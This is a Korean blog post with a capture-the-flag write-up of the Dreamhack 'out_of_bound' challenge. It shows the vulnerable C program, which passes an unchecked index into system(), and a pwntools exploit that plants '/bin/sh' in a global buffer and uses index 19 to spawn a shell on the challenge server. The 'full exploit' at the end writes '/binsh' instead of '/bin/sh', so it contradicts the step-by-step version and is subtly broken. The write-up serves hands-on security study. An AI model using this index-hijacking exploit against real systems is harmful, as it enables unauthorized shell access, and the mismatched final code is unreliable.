Pwn

Out of Bounds(OOB)

ENFJ_T 2023. 8. 26. 20:22

[dreamhack] Out of Bounds

인덱스 값이 정해진 범위를 벗어나는 행위

Out of Bounds로 버그가 생기는 이유

- 계산한 주소가 배열의 범위 안에 있는지 검사하지 않는다.

- 배열의 참조되는 인덱스의 값을 임의로 설정할 수 있다.

- 개발자가 인덱스의 값을 명시적으로 프로그래밍 하지 않는다.

 

https://dreamhack.io/wargame/challenges/11

 

out_of_bound

Description 이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이

dreamhack.io

C코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

C코드 해석

어드민 이름을 입력 받고 설정한다.

인덱스 중 하나를 입력받고 그 인덱스중 commad에 있는 번째의 인덱스를 시스템에 넣어 실행한다.

취약점

인덱스를 받는 곳에서 다른 검사가 없으므로 다른 메모리 상에 위치한 곳까지 침범할 수 있다.

또한 같은 곳에 name 이 있으므로 그 값을 조작한 뒤 Out of Bounds로 name까지 침범을 한 뒤 command에 입력할 수 있다. -> 즉 원하는 값을 commad에 입력할 수 있다.

익스플로잇

먼저 위에서 본 취약점을 이용해

1. name 입력을 받을 때 "/bin/sh" 문자열을 집어 넣는다

2. name의 위치를 commad에 위치에서 얼마나 떨어져 있는지 구한뒤 ->주소 차이 / 4

3. idx에 떨어져 있는 만큼 idx에 넣는다.

->system("/bin/sh") 실행된다

 

처음 name에 위치에 문자열 "/bin/sh"을 집어넣는다.

from pwn import *

p = remote("host3.dreamhack.games", 11078)

p.recvuntil("Admin name: ")
payload = p32(0x0804a0ac + 4) + b"/bin/sh"
p.sendline(payload)

단 위에서 주의할 점이 하나가 있다. 위에 보면 "/bin/sh"말고 앞에 주소가 하나 들어가는데 이유는 시스템 함수는 문자열의 포인터를 argument로 받기 때문에 name + 4의주소를 적어줘야 한다.  그렇기 때문에 gdb로 찾은 name의 위치에 주소의 크기는 4바이트기 때문에 0x0804a0ac + 4의 값이 "/bin/sh"문자열에 들어가게 된 것이다.

그리고 그 뒤 name에 위치에 얼마나 떨어져 있는지 구한다.

0x0804a0ac - 0x0804a060 = 0x4c = 76 이다

거기에 주소는 4바이트니까 76 / 4 = 19 이므로

idx의 값은 19가 된다. 

p.recvuntil("What do you want?: ")
p.sendline(b"19")

전체 익스플로잇

from pwn import *

p = remote("host3.dreamhack.games", 16277)

p.recvuntil("Admin name: ")
payload = p32(0x0804a0ac + 4) + b"/binsh"
p.sendline(payload)

p.recvuntil("What do you want?: ")
p.sendline(b"19")
p.interactive()

쉘 흭득

끝~!